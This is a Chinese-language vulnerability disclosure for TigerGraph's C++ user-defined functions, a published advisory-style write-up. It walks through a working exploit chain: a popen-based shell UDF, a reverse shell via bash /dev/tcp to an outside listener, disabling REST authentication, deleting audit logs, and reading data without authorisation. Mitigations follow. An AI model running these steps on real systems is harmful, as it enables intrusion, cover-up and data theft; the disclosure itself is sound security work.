TigerGraph UDF 漏洞:详细信息和示例
CVE 参考地址:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202209-215
TigerGraph 图数据库为用户提供了远程上传任意 C++ 源代码以创建用户定义函数的工具。该代码会自动编译并安装到敏感的系统组件中,几乎不需要仔细检查。由于缺乏保护措施,这个过程可以以最小的权限被利用,让攻击者完全控制整个 TigerGraph 集群和底层服务器。
背景
在这篇文章中,详细介绍了在 TigerGraph 产品中发现的一个关键 CVE。这些细节在过去三个月内没有公开披露,以便在 CVE 的细节公开之前让 TigerGraph 有足够的时间修复漏洞并加强其安全性。
我们将展示如何使用 TigerGraph 的 GSQL 查询语言的功能将用户的权限提升为管理用户的权限、禁用身份验证、泄露敏感数据,然后删除审计跟踪。
在撰写本文时,这些问题会影响 TigerGraph Server 3.6.0 的最新版本以及从该代码库派生的任何其他产品。例如,官方 TigerGraph Docker 镜像。虽然未经证实,但 TigerGraph Cloud 也可能受到影响。
问题
TigerGraph 是一个图数据库,具有称为 GSQL 的专有查询语言。GSQL 的功能之一是能够创建查询用户定义的函数(缩写为 UDF)。UDF 是 C++ 源代码,它被编译并链接到 TigerGraph 数据库中,为 GSQL 查询提供额外的功能。
在 TigerGraph 中,UDF 继承了其实现语言 C++ 的特性,允许用户访问非托管内存和不安全指针。由于没有真正的运行时安全保护,指针和缓冲区溢出漏洞是一种真正的可能性。事实上,我们在 TigerGraph 的 LDBC 代码中发现了这样一个漏洞——缓冲区溢出——几行代码(这让我们看到了这个和其他类似的安全缺陷)。
为了突出这个关键的安全漏洞,我们首先展示了在系统正常操作下允许用户做什么*,*以及这如何破坏对 TigerGraph 中的安全性所做的一些假设。我们首先展示如何在远程 TigerGraph 系统上获得具有管理权限的远程 shell。
第一步是调出一个远程TigerGraph系统,添加一些不同级别的用户,并创建一个测试数据库。
附录 A:设置 TigerGraph 服务器中提供了使用 Docker 执行此操作的说明。
1. UDF 的远程安装
一旦系统启动并运行,我们将创建一个run_shell_expr
从下面的 C++ 代码调用的新 UDF。UDF 将简单地接受一个字符串,在子 Shell 中运行并返回输出:
inline string run_shell_expr (string cmd) {
char buffer[4096];
std::string result = "";
FILE* pipe = popen(cmd.c_str(), "r");
if (pipe){
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
} catch (...) {
/*...*/
}
pclose(pipe);
}
return string(result);
}
一旦我们将 UDF 编码到udf.hpp
本地机器上调用的文件中,我们就可以使用 GSQL 客户端使用tigergraph
用户将其安装到远程系统上:
$ java -jar gsql_client.jar -ip localhost
Adding gsql-server host localhost
Password for tigergraph : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > PUT ExprFunctions FROM "./udf.hpp"
PUT ExprFunctions successfully.
这会将我们的 C++ 源文件通过网络复制到 TigerGraph 系统上,并在那里自动编译和安装。此时,我们的 UDFrun_shell_expr
可供所有用户在查询中使用,尽管仅由超级用户上传。
请注意,为简洁起见,上述代码片段省略了创建 UDF 所需的一些样板代码,但完整代码可在附录 A:UDF 代码中找到。
2.远程安装查询
下一步是创建一个调用run_shell_expr
UDF 的新查询。同样,这是使用 GSQL 控制台进行的远程操作,但由低权限用户bob
执行,该用户仅具有在名为test
的图上创建和运行查询的本地权限(bob
仅有querywriter
权限)。下面我们展示了执行此操作的 GSQL 命令:
$ java -jar gsql_client.jar -ip localhost -u bob
Adding gsql-server host localhost
Password for bob : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > use graph test
Using graph 'test'
GSQL > begin
GSQL > CREATE QUERY run_cmd(string cmd) FOR GRAPH test {
GSQL > PRINT run_shell_expr(cmd);
GSQL > }
GSQL > end
Successfully created queries: [run_cmd].
GSQL > install query run_cmd
Start installing queries, about 1 minute ...
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.
[========================================================================================================] 100% (1/1)
Query installation finished.
GSQL >
安装run_cmd
查询后,它将在远程 TigerGraph 系统上运行简单的命令。在这种情况下,我们使用id
命令查看 UDF 正在由应用程序级超级用户在远程系统上执行:tigergraph
。
GSQL > RUN QUERY run_cmd("id")
{
"error": false,
"message": "",
"version": {
"schema": 0,
"edition": "enterprise",
"api": "v2"
},
"results": [{"run_shell_expr(cmd)": "uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)\n"}]
}
3.远程获取 Shell
请注意在安装查询之前显示的消息:
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
此消息让我们知道 TigerGraph 已自动为run_cmd
查询创建了一个 REST API。因此,下一步是获取一个以tigergraph
用户身份运行的反向 Shell,但使用仅有最低权限的用户alice
执行此操作。
为了使其正常工作,您将需要一台可以将网络流量路由到外部地址和端口的机器。在此示例中,我们使用 IP 地址192.168.0.2
和端口4444
。设置好机器后,打开一个新的控制台窗口并在其中使用 netcat 实用程序来监听网络流量:
$ nc -l 4444 -v
在另一个控制台中,我们只需使用alice
的授权令牌生成一个 HTTP POST 请求:
$ curl -X POST \
-H 'Authorization: Bearer aa4upir75pntu90pckr2ldr395l3hh70' \
http://localhost:14240/restpp/query/test/run_cmd \
-d '{"cmd": "bash -c \"bash -i >& /dev/tcp/192.168.0.2/4444 0>&1\""}'
{"error":true,"message":"The query didn't finish because it exceeded the query timeout threshold (16 seconds). Please check GSE log for license expiration and RESTPP/GPE log with request id (65548.RESTPP_1_1.1659629508618.N) for details. Try increase RESTPP.Factory.DefaultQueryTimeoutSec or add header GSQL-TIMEOUT to override default system timeout. ","results":[],"code":"REST-3002"}%
请注意,需要稍微修改 URL,因为我们正在将流量转发到 Docker 容器中。
Shell 会话将在您的第一个窗口中打开,您可以在其中以tigergraph
用户身份自由执行命令:
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ id
id
uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ pwd
pwd
/home/tigergraph/tigergraph/app/3.5.3/bin
4. 规避安全功能和泄露数据
现在我们作为管理用户拥有 Shell 访问权限,现在可以禁用 REST API 的身份验证,并且可以删除系统审计日志的选择以覆盖攻击:
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config set RESTPP.Factory.EnableAuth false
[ Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config apply
[ Note] Changes:
RESTPP.Factory.EnableAuth: true -> false
Proceed to apply? (y/N)y
[ Info] Successfully applied configuration change. Please restart services to make it effective immediately.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin restart restpp nginx gui gsql -y
[ Info] Stopping NGINX RESTPP GSQL GUI
[ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/log$ rm gsql/* restpp/* controller/*
为了证明身份验证被禁用,可以从test2
具有零授权用户的第二个图中窃取一些敏感数据:
$ curl -X GET "http://localhost:14240/restpp/graph/test2/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%
复合因素
我们已经证明,如果用户愿意,他们可以使用 GSQL 中的 UDF 工具来绕过 TigerGraph 的所有安全保护措施并泄露敏感数据。更重要的是,可以使用系统中特权最低的角色之一执行实际攻击queryreader
——使用 TigerGraph 的 REST API。
我们使用的示例场景是为教学目的而设计的。我们做出的假设之一是攻击者需要安装恶意 UDF(类似于run_shell_expr
UDF),并且他们需要管理访问权限才能执行此操作。但是,基于需要安装权限这一事实而忽略该漏洞是幼稚的。
我们为这种思路提供了三个反驳论点:
它假定系统没有可利用的错误;
它隐含地信任任何有权访问管理用户的人不会破坏系统的完整性;和
这意味着管理用户可以访问系统中放置的所有敏感数据。
CVE 表明 TigerGraph 中没有足够的防御措施来防止 UDF 中潜在的缓冲区溢出被具有最低权限级别之一的用户利用。
缓解措施
当看到该漏洞时,TigerGraph 确认这是他们期望 UDF 的行为方式,并提供了以下缓解措施:
启用 GSQL 和 REST 端点的身份验证;和
更改
tigergraph
管理员用户的默认密码。
TigerGraph 的 Docker 映像已更新,现在远程 GSQL 客户端会提示用户输入密码。
但是,如果错误被意外包含在安装到系统中的 UDF 中(如这里的情况),或者攻击者可以访问tigergraph
用户,则几乎没有保护。允许将不受约束的 C++ 链接到 TigerGraph 二进制文件是一种冒险的架构选择,具有明显的缺点。
建议
虽然当前的系统架构和 UDF 设计和保护机制仍然存在,但该漏洞仍将保留在 TigerGraph 产品中。
我们同时使用 TigerGraph 的建议是:
避免使用 UDF:因为即使是未使用的 UDF 也会带来安全风险。
如果必须使用 UDF,请清理 GSQL 和 UDF 之间的所有输入:我们承认这非常困难,因为它要么必须作为 UDF 完成,要么使用 GSQL 编写。
限制 TigerGraph 对包含敏感数据的网络的访问:由于 TigerGraph 集群能够运行任意代码,因此确保进出它的网络流量受到限制是明智之举。
附录 A
设置 TigerGraph 服务器
使用 Docker 下载最新的 TigerGraph 镜像并启动服务器。我们按照 TigerGraph 提供的说明进行操作。
下载并运行docker镜像(注意:我们不需要附加卷):
$ docker run -d \
-p 14022:22 \
-p 9000:9000 \
-p 14240:14240 \
--name tigergraph \
--ulimit nofile=1000000:1000000 \
-t docker.tigergraph.com/tigergraph:latest
容器启动后,通过 ssh 连接(注意:默认密码为
tigergraph
):
$ ssh -p 14022 tigergraph@localhost
启动所有TigerGraph服务:
$ gadmin start all
使用 GSQL 创建一个空图:
$ gsql "create graph test()"
alice
使用 GSQL 创建一个具有最低权限的用户:
$ gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****
授予以下权限
alice
:
$ gsql -g test "grant role queryreader on graph test to alice"
创建秘密
alice
:
$ gsql -u alice -p alice -g test "create secret"
The secret: rdua9klbkp88t2jkd8me44nd5638d73t has been created for user "alice".
创建一个用户——
bob
拥有足够的权限使用 GSQL 创建新的查询:
$ gsql "create user"
User Name : bob
New Password : *****
Re-enter Password : *****
授予以下权限
bob
:
$ gsql -g test "grant role querywriter on graph test to bob"
创建第二个名为的图
test2
并向其添加一个节点:
$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test2(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test2 {
GSQL> INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")
更改
tigergraph
用户的默认密码:
$ gsql "alter password"
启用RESTPP认证:
gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply
gadmin restart restpp nginx gui gsql -y
设置 GSQL 客户端
一旦 TigerGraph 运行,我们可以从正在运行的容器中获取一份
gsql_client.jar
的副本。注意:您需要正确版本的客户端才能成功连接到服务器。
$ docker cp tigergraph:/home/tigergraph/tigergraph/app/3.5.3/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar
要为特定用户打开 GSQL 控制台会话,请运行客户端,如下所示:
$ java -jar gsql_client.jar -ip localhost -u
Adding gsql-server host localhost
Password for : *****
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL >
UDF 代码
/******************************************************************************
* Copyright (c) 2015-2016, TigerGraph Inc.
* All rights reserved.
* Project: TigerGraph Query Language
* udf.hpp: a library of user defined functions used in queries.
*
* - This library should only define functions that will be used in
* TigerGraph Query scripts. Other logics, such as structs and helper
* functions that will not be directly called in the GQuery scripts,
* must be put into "ExprUtil.hpp" under the same directory where
* this file is located.
*
* - Supported type of return value and parameters
* - int
* - float
* - double
* - bool
* - string (don't use std::string)
* - accumulators
*
* - Function names are case sensitive, unique, and can't be conflict with
* built-in math functions and reserve keywords.
*
* - Please don't remove necessary codes in this file
*
* - A backup of this file can be retrieved at
* /dev_/gdk/gsql/src/QueryUdf/ExprFunctions.hpp
* after upgrading the system.
*
******************************************************************************/
#ifndef EXPRFUNCTIONS_HPP_
#define EXPRFUNCTIONS_HPP_
#include
#include
#include
#include
#include
#include
/** XXX Warning!! Put self-defined struct in ExprUtil.hpp **
* No user defined struct, helper functions (that will not be directly called
* in the GQuery scripts) etc. are allowed in this file. This file only
* contains user-defined expression function's signature and body.
* Please put user defined structs, helper functions etc. in ExprUtil.hpp
*/
#include "ExprUtil.hpp"
namespace UDIMPL {
typedef std::string string; //XXX DON'T REMOVE
/****** BIULT-IN FUNCTIONS **************/
/****** XXX DON'T REMOVE ****************/
inline int64_t str_to_int (string str) {
return atoll(str.c_str());
}
inline int64_t float_to_int (float val) {
return (int64_t) val;
}
inline string to_string (double val) {
char result[200];
sprintf(result, "%g", val);
return string(result);
}
inline string run_shell_expr (string cmd) {
char buffer[4096];
std::string result = "";
FILE* pipe = popen(cmd.c_str(), "r");
if (pipe){
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
} catch (...) {
/*...*/
}
pclose(pipe);
}
return string(result);
}
}
/****************************************/
#endif /* EXPRFUNCTIONS_HPP_ */